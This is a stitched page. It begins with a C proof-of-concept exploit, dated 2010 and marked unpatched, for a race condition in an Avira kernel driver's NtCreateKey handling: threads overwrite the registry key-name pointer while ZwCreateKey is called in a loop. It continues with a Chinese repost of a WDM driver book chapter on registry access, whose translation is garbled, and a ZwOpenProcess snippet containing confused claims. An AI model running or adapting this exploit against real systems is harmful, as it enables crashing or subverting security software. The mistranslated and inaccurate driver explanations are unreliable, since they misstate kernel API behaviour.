InitializeObjectAttributes;OBJECT_ATTRIBUTES

/*
# Exploit Title: Avira Premium Security Suite NtCreateKey Race Condition Vulnerability
# Date: 2010-11-03 
# Author: Nikita Tarakanov (CISS Research Team)
# Software Link: http://www.avira.com/
# Version: up to date, version 10.0.0.565, avipbb.sys version 10.0.8.11
# Tested on: Win XP SP3
# CVE : CVE-NO-MATCH
# Status : Unpatched
*/
#ifndef UNICODE
#define UNICODE
#endif
#include <windows.h>
#include <stdio.h>
#include <conio.h>
#include "ntdll.h"
#include "string"

using namespace std;

HANDLE hStartEvent;
HANDLE hStopEvent;
_ZwCreateKey *ZwCreateKey;
bool bStop = false;

DWORD WINAPI Crack(LPVOID Context);


int wmain(int argc, wchar_t *argv[])
{
    ZwCreateKey = (_ZwCreateKey *) GetProcAddress(GetModuleHandle(L"ntdll.dll"), "ZwCreateKey");
/*
 ntdll.dll.def
     937  3A8 0000D0D0 ZwCreateKey
     938  3A9 0000DFB0 ZwCreateKeyedEvent	
	*/
    hStartEvent = CreateEvent(NULL, TRUE, FALSE, NULL);
    hStopEvent = CreateEvent(NULL, TRUE, FALSE, NULL);

	OBJECT_ATTRIBUTES oa;
	wchar_t wcKeyName[] = L"\\REGISTRY\\User\\S-1-5-21-861567501-287218729-1801674531-1003\\Software\\NetScape";
	UNICODE_STRING KeyName = { 
			sizeof wcKeyName - sizeof wcKeyName[0],
			sizeof wcKeyName,
			wcKeyName
			};

	DWORD ptr = (DWORD)KeyName.Buffer;
/*
#define InitializeObjectAttributes( p, n, a, r, s ) { \
    (p)->Length = sizeof( OBJECT_ATTRIBUTES );          \
    (p)->RootDirectory = r;                             \
    (p)->Attributes = a;                                \
    (p)->ObjectName = n;                                \
    (p)->SecurityDescriptor = s;                        \
    (p)->SecurityQualityOfService = NULL;               \
    }	
	*/
	InitializeObjectAttributes(&oa, &KeyName, OBJ_CASE_INSENSITIVE, NULL, NULL);

	DWORD ThreadId;
	DWORD TitleIndex = 0;
	DWORD Disposition = 0;
	HANDLE hThread1 = CreateThread(NULL, 0, Crack, &oa, 0, &ThreadId);
	HANDLE hThread2 = CreateThread(NULL, 0, Crack, &oa, 0, &ThreadId);

	while ( !_kbhit() ) {
		HANDLE hKey;
		oa.ObjectName->Buffer = (PWSTR)ptr;
		NTSTATUS rc = ZwCreateKey(&hKey, KEY_READ, &oa, TitleIndex, NULL, REG_OPTION_NON_VOLATILE, &Disposition);
		if ( NT_SUCCESS(rc) )
			CloseHandle(hKey);
	}

	SetEvent(hStopEvent);
	WaitForSingleObject(hThread1, INFINITE);
	WaitForSingleObject(hThread2, INFINITE);
   
    return 0;
}

DWORD WINAPI Crack(LPVOID Context)
{
	POBJECT_ATTRIBUTES oa = (POBJECT_ATTRIBUTES) Context;

	DWORD *ptr = (DWORD*)&oa->ObjectName->Buffer;

	SetThreadPriority(GetCurrentThread(), THREAD_PRIORITY_HIGHEST);
	SetEvent(hStartEvent);

	while ( true ) {
		*ptr = 0x90909090;
		if ( WaitForSingleObject(hStopEvent, 1) == WAIT_OBJECT_0 ) break;
	}


    return 0;
}



WDM驱动法式对注册表的操纵

膊恢wz91m 发布于:  2012-02-01 15:47
   In the remainder of this chapter, I’m going to discuss some miscellaneous topics that might be useful in various parts of your driver. I’ll begin by describing how you access the registry database, which is where you can find various configuration and control information that might affect your code or your hardware. I’ll go on to describe how you access disk files and other named devices. A few words will suffice to describe how you can perform floating-point calculations in a WDM driver. Finally I’ll describe a few of the features you can embed in your code to make it easier to debug your driver in the unlikely event it shouldn’t work correctly the first time you try it out. 

  在本章剩下的部分里,我将要讨论的几个话题,可能对于你的驱动的很多方面有所帮助。我将从讨论你如何访问注册表数据库开始,你可以在那个数据库中发现很多配置和控制信息,他们可能影响你的代码或者你的硬件。我将继续讨论你如何访问磁盘文件和其他命名的设备。一些语句将足够解释你可以如何在一个WDM驱动中施行浮点计较。最后,我将解释一些特性,你可以(把它们)嵌入到你的代码中,在你第一次试验它但它不能正确工作的时候,在不可靠的事件中,使得你的驱动调试更加简单。 

  Accessing the Registry 

  注册表访问 

  Windows XP and Windows 98/Me record configuration and other important information in a database called the registry. WDM drivers can call the functions listed in Table 3-10 to access the registry. If you’ve done user-mode programming involving registry access, you might be able to guess how to use these functions in a driver. I found the kernel-mode support functions sufficiently different, however, that I think it’s worth describing how you might use them. 

  Windows XP和Windows 98/Me在一个叫做注册表的数据库中记录配置和其他重要信息。WDM驱动可以调用在表3-10中列出的函数来访问这个注册表。如果你已经完成了用户模式程序调用注册表放温,你可能可以猜到如何在一个驱动中使用这些函数。我发现内户模式支撑的函数非常的复杂,但是,我认为解释泥可能如何使用他们是值得的。 

  Table 3-10. Service Functions for Registry Access 

  Service Function 

  Description 

  IoOpenDeviceRegistryKey 

  Opens special key associated with a physical device object (PDO) 

  IoOpenDeviceInterfaceRegistryKey 

  Opens a registry key associated with a registered device interface 

  RtlDeleteRegistryValue 

  Deletes a registry value 

  RtlQueryRegistryValues 

  Reads several values from the registry 

  RtlWriteRegistryValue 

  Writes a value to the registry 

  ZwClose 

  Closes handle to a registry key 

  ZwCreateKey 

  Creates a registry key 

  ZwDeleteKey 

  Deletes a registry key 

  ZwDeleteValueKey 

  Deletes a value (Windows 2000 and later) 

  ZwEnumerateKey 

  Enumerates subkeys 

  ZwEnumerateValueKey 

  Enumerates values within a registry key 

  ZwFlushKey 

  Commits registry changes to disk 

  ZwOpenKey 

  Opens a registry key 

  ZwQueryKey 

  Gets information about a registry key 

  ZwQueryValueKey 

  Gets a value within a registry key 

  ZwSetValueKey 

  Sets a value within a registry key 

  表3-10。访问注册表的服务函数 

  服务函数 

  说明 

  IoOpenDeviceRegistryKey 

  打开一个关联物理设备对象的特殊关键字 

  IoOpenDeviceInterfaceRegistryKey 

  打开一个关联注册设备接口的注册表关键字 

  RtlDeleteRegistryValue 

  删除一个注册表键值 

  RtlQueryRegistryValues 

  从注册表读取一些键值 

  RtlWriteRegistryValue 

  把一个键值写到注册表上 

  ZwClose 

  关闭对一个注册表键值的处理 

  ZwCreateKey 

  创建一个注册表关键字 

  ZwDeleteKey 

  删除一个注册表关键字 

  ZwDeleteValueKey 

  删除一个键值(Windows 2000及其后面的版本) 

  ZwEnumerateKey 

  列出子关键字 

  ZwEnumerateValueKey 

  列出在一个注册表关键字中的键值 

  ZwFlushKey 

  把注册表更改提交到磁盘 

  ZwOpenKey 

  打开一个注册表关键字 

  ZwQueryKey 

  取得有关注册表关键字的信息 

  ZwQueryValueKey 

  取得一个注册表关键字中的键值 

  ZwSetValueKey 

  设置一个注册表关键字中的键值 

  In this section, I’ll discuss, among other things, the ZwXxx family of routines and RtlDeleteRegistryValue, which provide the basic registry functionality that suffices for most WDM drivers. 

  在这一节中,我将要讨论的是,在这些事情中,程序的ZwXxx家族以及RtlDeleteRegistryValue,它提供根本的注册函数以满足大大都WDM驱动的需求。 

  Opening a Registry Key 

  注册表关键字的打开 

  Before you can interrogate values in the registry, you need to open the key that contains them. You use ZwOpenKey to open an existing key. You use ZwCreateKey either to open an existing key or to create a new key. Either function requires you to first initialize an OBJECT_ATTRIBUTES structure with the name of the key and (perhaps) other information. The OBJECT_ATTRIBUTES structure has the following declaration: 

  在你可以对注册表中的键值有所疑问之前,你需要打开一个包含(这些键值)的关键字。你使用ZwOpenKey来打开一个已经存在的关键字。你可以使用ZwCreateKey来打开一个已经存在的关键字或者创建一个新的关键字。任一个函数都要求你首先初始化一个具有这个关键字名称以及(或者)其他信息的OBJECT_ATTRIBUTES构造。这个OBJECT_ATTRIBUTES结构具有下面的声明: 

  typedef struct _OBJECT_ATTRIBUTES { 

  ULONG Length; 

  HANDLE RootDirectory; 

  PUNICODE_STRING ObjectName; 

  ULONG Attributes; 

  PVOID SecurityDescriptor; 

  PVOID SecurityQualityOfService; 

  } OBJECT_ATTRIBUTES; 

  Rather than initialize an instance of this structure by hand, it’s easiest to use the macro InitializeObjectAttributes, which I’m about to show you. 

  相比手动初始化这个结构的一个实例,使用我将要展示给你的宏InitializeObjectAttributes(来完成)更加简单。 

  Suppose, for example, that we wanted to open the service key for our driver. The I/O Manager gives us the name of this key as a parameter to DriverEntry. So we could write code like the following: 

  例如,假定:我们想要为我们的驱动打开这个服务关键字。I/O管理器把这个关键字的名称作为一个DriverEntry的参数送给我们。这样,我们可以编写相似的代码: 

  NTSTATUS DriverEntry(PDRIVER_OBJECT DriverObject, 

  PUNICODE_STRING RegistryPath) 

  { 

  ┆ 

  OBJECT_ATTRIBUTES oa; 

  à1 

  InitializeObjectAttributes(&oa, RegistryPath, OBJ_KERNEL_HANDLE │ 

  OBJ_CASE_INSENSITIVE, NULL, NULL); 

  HANDLE hkey; 

  à2 

  status = ZwOpenKey(&hkey, KEY_READ, &oa); 

  if (NT_SUCCESS(status)) 

  { 

  ┆ 

  à3 

  ZwClose(hkey); 

  } 

  ┆ 

  } 

  We’re initializing the object attributes structure with the registry pathname supplied to us by the I/O Manager and with a NULL security descriptor. ZwOpenKey will ignore the security descriptor anyway—you can specify security attributes only when you create a key for the first time. 

  ZwOpenKey will open the key for reading and store the resulting handle in our hkey variable. 

  我们正在初始化的对象回因于I/O管理器提供的注册表路径和NULL宁静描述符的结构。不管如何ZwOpenKey都将忽略这个宁静描述符----只要当你第一次创建一个关键字的时候,你可以指定宁静特性。ZwOpenKey将打开一个关键字来读取和储存在我们的hkey变量中处理的结果。 

  ZwClose is a generic routine for closing a handle to a kernel-mode object. Here we use it to close the handle we have to the registry key. 

  ZwClose是用来关闭内核模式对象处理的普通程序。这里我们使用它来关闭我们对这个注册表关键字的处理。 

  The OBJ_KERNEL_HANDLE flag, shown in the preceding code sample, is important for system integrity. If you’re running in the context of a user thread when you call ZwOpenKey, and if you don’t supply this flag bit, the handle you get will be available to the user-mode process. It might even happen that user-mode code will close the handle and open a new object, receiving back the same numeric value. All of a sudden, your calls to registry functions will be dealing with the wrong kind of handle. 

  Even though we often refer to the registry as being a database, it doesn’t have all of the attributes that have come to be associated with real databases. It doesn’t allow for committing or rolling back changes, for example. Furthermore, the access rights you specify when you open a key (KEY_READ in the preceding example) are for security checking rather than for the prevention of incompatible sharing. That is, two different processes can have the same key open after specifying write access (for example). The system does guard against destructive writes that occur simultaneously with reads, however, and it does guarantee that a key won’t be deleted while someone has an open handle to it. 

  OBJ_KERNEL_HANDLE标志----在之前的代码例子中展示过----对于系统完好性很重要。当你调用ZwOpenKey的时候,如果你正运行在一个用户线程的上下文关联的时候,并且如果你没有提供这个标志位,你想要的处理将被用户模式进程所使用。这样即便碰巧那个用户模式代码将要关闭这个处理并且打开一个新的对性,也将回收不异的数值结果。俄然,你对注册函数的调用将要处理错误的处理种类。即便我们通常把注册表作为一个数据库来提及,但是,它并不具有关于真实数据库的所有特性。比如,它并不允许提交或者回滚变换。另外,当你打开一个关键字(在前面例子中的KEY_READ)的时候,你指定的访问权限的安全检查更多于防止矛盾的共享。换句话说,在指定写访问之后(比如),两个不同的进程可以具有不异的公开关键字。这个系统并不阻止在读的同时发生的破坏性的写操作,但是,它确实(能够)保证:不会在什么人正在打开并且处理一个关键字的时候声明这个关键字。 

  Other Ways to Open Registry Keys 

  打开注册表关键字的其他途径 

  In addition to ZwOpenKey, Windows XP provides two other functions for opening registry keys. 

  对于ZwOpenKey还要说的是,Windows XP为打开注册表关键字提供了两个其他的函数。 

  IoOpenDeviceRegistryKey allows you to open one of the special registry keys associated with a device object: 

  IoOpenDeviceRegistryKey允许你打开一个和设备对象有关的特殊注册表关键字: 

  HANDLE hkey; 

  Status = IoOpenDeviceRegistryKey(pdo, flag, access, &hkey); 

  where pdo is the address of the physical device object (PDO) at the bottom of your particular driver stack, flag is an indicator for which special key you want to open (see Table 3-11), and access is an access mask such as KEY_READ. 

  Pdo作为处于你的个性化驱动堆栈底部的物理设备对象的地址的地方,标记是一个对于你想要打开的关键字的指示器,并且入口是一个相似KEY_READ的访问程序。 

  Table 3-11. Registry Key Codes for IoOpenDeviceRegistryKey 

  Flag Value 

  Selected Registry Key 

  PLUGPLAY_REGKEY_DEVICE 

  The hardware (instance) subkey of the Enum key 

  PLUGPLAY_REGKEY_DRIVER 

  The driver subkey of the class key 

  表3-11。对于IoOpenDeviceRegistryKey 的注册表关键字 

  标志值 

  选定的注册表关键字 

  PLUGPLAY_REGKEY_DEVICE 

  Enum关键字的硬件(实例)子关键字 

  PLUGPLAY_REGKEY_DRIVER 

  类关键字的驱动子关键字 

  I use IoOpenDeviceRegistryKey with the PLUGPLAY_REGKEY_DEVICE flag very often in my own drivers. In Windows XP, this function opens the Device Parameters subkey of the hardware key for the device. In Windows 98/Me, it opens the hardware key itself. These keys are the right place to store parameter information about the hardware. I’ll discuss this key more fully in Chapter 15 in connection with installing and distributing a driver. 

  在我自己的驱动中,我非常的频繁使用IoOpenDeviceRegistryKey和PLUGPLAY_REGKEY_DEVICE标志。在Windows XP中,这个函数为这个设备打开硬件关键字的设备参数子关键字。在Windows 98/Me中,它为它本身打开这个硬件关键字。这些关键字处于存储有关硬件参数信息的正确的位置。在第15章关于安装和分配一个驱动的部分中,我将更全面的讨论这个关键字。 

  IoOpenDeviceInterfaceRegistryKey opens the key associated with an instance of a registered device interface: 

  IoOpenDeviceInterfaceRegistryKey打开的这个关键字是关于已经注册的设备接口的一个实例: 

  HANDLE hkey; 

  status = IoOpenDeviceInterfaceRegistryKey(linkname, access, 

  &hkey); 

  where linkname is the symbolic link name of the registered interface and access is an access mask such as KEY_READ. 

  Linkname作为已注册的接口的符号连接名称的地方,以及入口是一个类似KEY_READ的访问程序。 

  The interface registry key is a subkey of HKLM\System\CurrentControlSet\Control\DeviceClasse s that persists from one session to the next. It’s a good place to store parameter information that you want to share with user-mode programs because user-mode code can call SetupDiOpenDeviceInterfaceRegKey to gain access to the same key. 

  这个接口注册表关键字是HKLM\System\CurrentControlSet\Control\DeviceClasse s的一个子关键字,它承接两段代码。对于把你想要同用户模式程序共享的信息参数的存储,它是一个好地方,因为用户模式代码可以调用SetupDiOpenDeviceInterfaceRegKey来增加对不异关键字的访问。 

在 Windows 内核中,可以使用 NtOpenProcess 函数打开指定进程的句柄。以下是一个内核模式下使用 NtOpenProcess 函数的示例: ```C++ #include <ntifs.h> // 包含 Windows 内核开发相关的头文件 // 定义一个函数,用于打开指定进程的句柄 NTSTATUS OpenProcessHandle(HANDLE* phProcess, ULONG processId, ACCESS_MASK accessMask) { NTSTATUS status = STATUS_SUCCESS; CLIENT_ID clientId; OBJECT_ATTRIBUTES objAttr; HANDLE hProcess = nullptr; // 设置 OBJECT_ATTRIBUTES 结构体 InitializeObjectAttributes(&objAttr, nullptr, OBJ_KERNEL_HANDLE, nullptr, nullptr); // 设置 CLIENT_ID 结构体 clientId.UniqueProcess = (HANDLE)processId; clientId.UniqueThread = nullptr; // 调用 NtOpenProcess 函数打开进程句柄 status = ZwOpenProcess(&hProcess, accessMask, &objAttr, &clientId); if (NT_SUCCESS(status)) { *phProcess = hProcess; } return status; } // 在驱动程序的 DriverEntry 函数中,可以通过调用 OpenProcessHandle 函数打开指定进程的句柄 NTSTATUS DriverEntry(PDRIVER_OBJECT pDriverObject, PUNICODE_STRING pRegistryPath) { HANDLE hProcess; NTSTATUS status = OpenProcessHandle(&hProcess, 1234, PROCESS_ALL_ACCESS); if (NT_SUCCESS(status)) { // 成功打开句柄,可以使用 hProcess 进行操作 // ... // 关闭句柄 ZwClose(hProcess); } return status; } ``` 需要注意的是,内核模式下使用 NtOpenProcess 函数打开进程句柄,需要使用 ZwOpenProcess 函数来调用。ZwOpenProcess 函数与 NtOpenProcess 函数的功能是一样的,只是 ZwOpenProcess 是一个系统调用(system call),可以在内核模式下使用。同时,为了保证句柄的安全性,需要将 OBJECT_ATTRIBUTES 结构体的 OBJ_KERNEL_HANDLE 标志设置为 TRUE,表示打开的是内核模式下的句柄。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值